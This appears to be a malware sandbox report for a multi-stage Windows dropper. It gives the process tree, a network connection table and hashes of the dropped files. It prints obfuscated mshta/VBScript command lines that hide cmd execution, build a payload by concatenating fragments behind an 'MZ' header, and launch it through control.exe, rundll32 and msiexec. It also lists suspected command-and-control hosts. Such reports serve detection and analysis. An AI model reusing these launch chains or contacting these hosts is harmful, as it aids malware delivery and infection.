C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3700 -ip 3700
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4040 -ip 4040
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Fri208f5f140853548.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 620
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 360
C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe
EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /IM "Fri20ba391d4469.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4040 -ip 4040
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 656
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell").RUN( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF ""/pkrs9YKWRf3sVprfXBE2vA2Yg3 "" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" ) do taskkill /f /IM ""%~NxA"" ", 0, true ))
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" > EUUIXyGKjuAj.exe&&STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 &IF "/pkrs9YKWRf3sVprfXBE2vA2Yg3 "=="" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" ) do taskkill /f /IM "%~NxA"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4040 -ip 4040
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 744
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCript:CloSE ( CreAtEoBjEct( "WscRiPt.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /R eCHo | sET /P = ""MZ"" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W +pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT +lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ " , 0 , tRUE ) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4040 -ip 4040
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 776
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R eCHo | sET /P = "MZ" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W +pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT+lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>nQBnLF9A.W"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\msiexec.exe
msiexec /Y .\6~iPCLZ.rJ
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4040 -ip 4040
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 532
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe012ecc40,0x7ffe012ecc4c,0x7ffe012ecc58
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1900,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1896 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2152,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2160 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2220,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2232 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3128 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3148,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4484,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4496 /prefetch:1
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4040 -ip 4040
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 920
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4644,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4008 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4760,i,9698087169629223967,14925334720124449210,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4748 /prefetch:8
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4040 -ip 4040
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1104
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4040 -ip 4040
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1104
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4040 -ip 4040
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1384
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| NL | 45.133.1.107:80 | tcp | |
| NL | 45.133.1.107:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| US | 8.8.8.8:53 | 161.74.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.130.159.162.in-addr.arpa | udp |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| US | 8.8.8.8:53 | propanla.com | udp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 3.200.250.142.in-addr.arpa | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | ppp-gl.biz | udp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 183.223.178.107.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.iyiqian.com | udp |
| SG | 13.251.16.150:80 | www.iyiqian.com | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | 150.16.251.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | www.google.com | udp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 35.200.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 234.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.16.217.172.in-addr.arpa | udp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| GB | 172.217.16.228:443 | www.google.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | clients2.google.com | udp |
| GB | 142.250.178.14:443 | clients2.google.com | tcp |
| N/A | 127.0.0.1:63665 | tcp | |
| N/A | 127.0.0.1:63667 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | 14.178.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | wfsdragon.ru | udp |
| US | 172.67.133.215:80 | wfsdragon.ru | tcp |
| US | 172.67.133.215:80 | wfsdragon.ru | tcp |
| US | 8.8.8.8:53 | 235.4.20.104.in-addr.arpa | udp |
| FR | 51.178.186.149:80 | tcp | |
| FR | 51.178.186.149:80 | tcp | |
| US | 8.8.8.8:53 | 215.133.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| N/A | 224.0.0.251:5353 | udp | |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | 69.56.16.2.in-addr.arpa | udp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | 21.138.155.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 74.209.201.84.in-addr.arpa | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
| MD5 | 8f86dedab3baf5ffaaebb8a77d417737 |
| SHA1 | 2469e1057b3a544402d57a602a916b0663a8ff8c |
| SHA256 | b25679ef641f0a807ef8200eb0ec464680dfdfff23b42bad85099b140c5d5630 |
| SHA512 | 2f70caeb89da15a3b1222b52cf49b09af61937b1bf92b5c0baad4d222a9c02f30e174cc9bd8078531fac26213fb990ab1cac78b13f38e7cbc75389685b0ec61c |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe
| MD5 | 789258af8927e9426e113f79a5c2ebcf |
| SHA1 | 6c64f717f5fc68e602760fefbc2221fd35fd7530 |
| SHA256 | f17e3e76cebd7d97c927151c727d210dca439be0142db2db5a0ccc70d95b9923 |
| SHA512 | 20cbd892411768fd4774fcb9f47f4eff754687808e58af8597714030e0705b53072b0128b8c32f5254836664276b242f8327427d0d6975cdfe6c3a90f4945ec3 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\libwinpthread-1.dll
| MD5 | 1e0d62c34ff2e649ebc5c372065732ee |
| SHA1 | fcfaa36ba456159b26140a43e80fbd7e9d9af2de |
| SHA256 | 509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723 |
| SHA512 | 3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\libcurl.dll
| MD5 | d09be1f47fd6b827c81a4812b4f7296f |
| SHA1 | 028ae3596c0790e6d7f9f2f3c8e9591527d267f7 |
| SHA256 | 0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e |
| SHA512 | 857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595 |
memory/1164-66-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1164-72-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1164-86-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1164-85-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1164-84-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1164-83-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1164-81-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1164-80-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1164-79-0x0000000064940000-0x0000000064959000-memory.dmp
memory/1164-77-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2384-87-0x00000000031E0000-0x0000000003216000-memory.dmp
memory/1164-78-0x0000000064941000-0x000000006494F000-memory.dmp
memory/1164-76-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2384-88-0x0000000005970000-0x0000000005F98000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20109b9e174d0fc.exe
| MD5 | 37a1c118196892aa451573a142ea05d5 |
| SHA1 | 4144c1a571a585fef847da516be8d89da4c8771e |
| SHA256 | a3befd523e1e2f4e6f8fce281963f5efb85fe54d85ba67746cc58823d479e92a |
| SHA512 | aac6321582dac5d82cbdb197c20370df3436cf884bea44cbc6d156fd6c4fa99340a3fa866862b83fb0866b31a1e4ebdd73c462972beeb299d4af95592c1d94db |
memory/1164-74-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1164-75-0x0000000000720000-0x00000000007AF000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\libstdc++-6.dll
| MD5 | 5e279950775baae5fea04d2cc4526bcc |
| SHA1 | 8aef1e10031c3629512c43dd8b0b5d9060878453 |
| SHA256 | 97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87 |
| SHA512 | 666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\libgcc_s_dw2-1.dll
| MD5 | 9aec524b616618b0d3d00b27b6f51da1 |
| SHA1 | 64264300801a353db324d11738ffed876550e1d3 |
| SHA256 | 59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e |
| SHA512 | 0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0 |
memory/1164-82-0x000000006FE40000-0x000000006FFC6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\libcurlpp.dll
| MD5 | e6e578373c2e416289a8da55f1dc5e8e |
| SHA1 | b601a229b66ec3d19c2369b36216c6f6eb1c063e |
| SHA256 | 43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f |
| SHA512 | 9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe
| MD5 | 7c6b2dc2c253c2a6a3708605737aa9ae |
| SHA1 | cf4284f29f740b4925fb2902f7c3f234a5744718 |
| SHA256 | b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba |
| SHA512 | 19579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2060ea1c5d8fae8aa.exe
| MD5 | ba8541c57dd3aae16584e20effd4c74c |
| SHA1 | 5a49e309db2f74485db177fd9b69e901e900c97d |
| SHA256 | dbc19cdcdf66065ddb1a01488dac2961b7aa1cde6143e8912bf74c829eaa2c6c |
| SHA512 | 1bdc7461faf32bba7264de0d1f26365ee285de687edef7d957194897fc398145414a63ad5255e6fc5b559e9979d82cf49e8adf4d9d58b86405c921aec027866d |
memory/2384-105-0x0000000005690000-0x00000000056B2000-memory.dmp
memory/2384-107-0x0000000006100000-0x0000000006166000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_opa2rt4j.yy1.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2384-114-0x0000000006170000-0x00000000064C4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri200ae385720d3.exe
| MD5 | 8aaec68031b771b85d39f2a00030a906 |
| SHA1 | 7510acf95f3f5e1115a8a29142e4bdca364f971f |
| SHA256 | dc901eb4d806ebff8b74b16047277b278d8a052e964453f5360397fcb84d306b |
| SHA512 | 4d3352fa56f4bac97d5acbab52788cad5794c9d25524ee0a79ef55bfc8e0a275413e34b8d91f4de48aedbe1a30f8f47a0219478c4620222f4677c55cf29162df |
memory/2384-106-0x0000000006090000-0x00000000060F6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri209d5bfbb2.exe
| MD5 | d08cc10c7c00e13dfb01513f7f817f87 |
| SHA1 | f3adddd06b5d5b3f7d61e2b72860de09b410f571 |
| SHA256 | 0fb8440355ee2a2fe55de0661199620353a01ed4fd1b0d0a2082f4c226e98e0d |
| SHA512 | 0b9b8c7da24cdb882bc9b7a37689bc0e81d39f1277017b44512e9a17d9e4e44b314d5b3e06f332d64f3f6953f84d309d4027842ef0000ff012e7af5c9012caa0 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20e095683c2b3a0c.exe
| MD5 | 44cfc728f9fbacd834c9b10ce768d41a |
| SHA1 | 6589a1435a2ba5ec11a312de5f339597831227d0 |
| SHA256 | 874c4eab9d0422ee52a1e02e4e95b07805a143dda5a54a19c6a122580aabdb68 |
| SHA512 | dd899e05bcbfaec1c3f46011367e000f3edfca1c2f542f9ed55bcbd136142940733f8aa8cd67bd5f647329195ffb843a255713dae362bc44a817734163409113 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe
| MD5 | a98672182143436478fdb3806ef6cd5a |
| SHA1 | 5d93bb55d9e7915afb11361f42a4c9c6393718b3 |
| SHA256 | 2010cb8b8069ae8e5527526b36f28b78766473b71b67d601351eb361dbef8528 |
| SHA512 | 0d2de593d1e194895833396c49efe194fca56afa3396e6aa41f8a51e961ea4f1ca97697ace0625ea97f5dfe7092b75049c58e582dda122cbc7966cb9a5d18892 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20c0c46650eeb2a.exe
| MD5 | ecc773623762e2e326d7683a9758491b |
| SHA1 | ad186c867976dc5909843418853d54d4065c24ba |
| SHA256 | 8f97a40b4d9cf26913ab95eec548d75a8dad5a1a24d992d047e080070282d838 |
| SHA512 | 40e30981f533b19123ec3d84276a28acd282c01907398ca6d67155901cfaf2c2d6355dc708d0ecfc6c21b5c671b4c3bb87eeb53183b7085474a2acd302f038a4 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe
| MD5 | 85ef31a707d583032b8526d16e8883a8 |
